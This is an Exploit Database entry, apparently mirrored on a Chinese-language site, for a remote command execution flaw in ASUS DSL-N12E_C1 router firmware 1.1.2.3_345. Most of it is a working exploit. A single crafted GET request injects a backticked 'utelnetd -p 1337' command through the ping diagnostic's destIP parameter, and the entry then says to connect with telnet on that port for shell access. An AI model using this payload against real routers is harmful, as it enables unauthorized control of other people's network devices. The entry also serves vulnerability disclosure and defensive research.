ASUS DSL-N12E_C1 1.1.2.3_345 – Remote Command Execution

• Exploit Database
• 18 阅读

• 作者： Fakhri Zulkifli
  日期： 2018-08-02
• 类别：

  • webapps
  平台：

  • hardware
• 来源：https://www.exploit-db.com/exploits/45135/

• # Exploit Title: ASUS DSL-N12E_C1 1.1.2.3_345 - Remote Command Execution
  # Date: 2018-08-02
  # Exploit Author: Fakhri Zulkifli (@d0lph1n98)
  # Vendor Homepage: https://www.asus.com/
  # Software Link: https://www.asus.com/Networking/DSLN12E_C1/HelpDesk_BIOS/
  # Version: 1.1.2.3_345
  # Tested on: 1.1.2.3_345
  
  GET /Main_Analysis_Content.asp?current_page=Main_Analysis_Content.asp&next_page=Main_Analysis_Content.asp&next_host=www.target.com&group_id=&modified=0&action_mode=+Refresh+&action_script=&action_wait=&first_time=&applyFlag=1&preferred_lang=EN&firmver=1.1.2.3_345-g987b580&cmdMethod=ping&destIP=%60utelnetd+-p+1337%60&pingCNT=5 HTTP/1.1
  Host: www.target.com
  Connection: keep-alive
  Pragma: no-cache
  Cache-Control: no-cache
  Upgrade-Insecure-Requests: 1
  User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.99 Safari/537.36
  Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
  Referer: http://www.target.com/Main_Analysis_Content.asp
  Accept-Encoding: gzip, deflate
  Accept-Language: en-US,en;q=0.9
  
  # To connect
  1. telnet www.target.com 1337